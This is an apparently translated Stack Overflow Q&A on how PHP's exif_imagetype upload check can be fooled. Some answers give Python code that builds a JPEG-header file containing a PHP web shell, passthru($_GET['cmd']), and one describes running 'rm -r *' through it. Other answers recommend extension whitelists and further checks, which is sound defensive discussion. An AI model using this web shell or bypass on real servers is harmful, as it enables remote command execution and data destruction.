如何绕过exif_imagetype函数上传php代码?

时间:2013-08-21 12:12:09

标签: php file-upload

我读到 exif_imagetype 是安全功能,以避免上传php或其他shell代码而不是图像文件。最近我读了另一篇文章,我们可以通过一些简单的方法绕过这个安全功能。因此,如果有人知道绕过的确切方法,你可以分享你的答案。

我在我的php脚本中使用了以下代码,所以我想知道这是否容易受到攻击并且可以解决相同的问题

 if (! exif_imagetype($_FILES['upload']['tmp_name'])) 
   { 
    echo "File is not an image";
   }

4 个答案:

答案 0 :(得分:6)

基于@ jake_the_snake先生的答案,我还将在Python中包含一个快速代码示例

>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()

答案 1 :(得分:4)

运行exif_imagetype有点复杂。该函数只是检查文件开头的幻数,因此需要更多的检查。如果没有更多的软件知识,很难做出判断,但请考虑这个例子:

我使用JPEG幻数0xFFD8FFE0后跟字符串<? passthru($_GET["cmd"]); ?>构造“shell.php”。

我将它上传到您的服务器。幻数绕过exif_imagetype。该文件已上传到www.your-domain.com/uploads/shell.php。然后我导航到www.your-domain.com/uploads/shell.php?rm -r *。服务器找到起始<?并开始解释PHP。好极了!假设您在Linux网络服务器上运行,我已删除了所有上传内容。

即使对图像的有效性进行更深入的检查也无济于事,因为我可以将恶意脚本包含在图像的元数据中。只有使用文件扩展名的白名单才能阻止此操作。

[TL; DR]没有更多检查,这是不安全的。您需要确保适当的文件名,使用文件扩展名的白名单,限制文件大小以及执行标准安全措施。

答案 2 :(得分:0)

@solidak 的答案适用于 python2,因为它现在已被弃用,这里是一个 Python3 重写:

>>> fh = open('shell.php', 'wb')
>>> fh.write(b'\xFF\xD8\xFF\xE0' + b'<? passthru($_GET["cmd"]); ?>')
>>> fh.close()

答案 3 :(得分:-1)

为安全起见我使用

$extension = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION);

if(!in_array(strtolower($extension), array('jpg', 'jpeg', 'png', 'gif')))
{
    echo "File is not an image";
}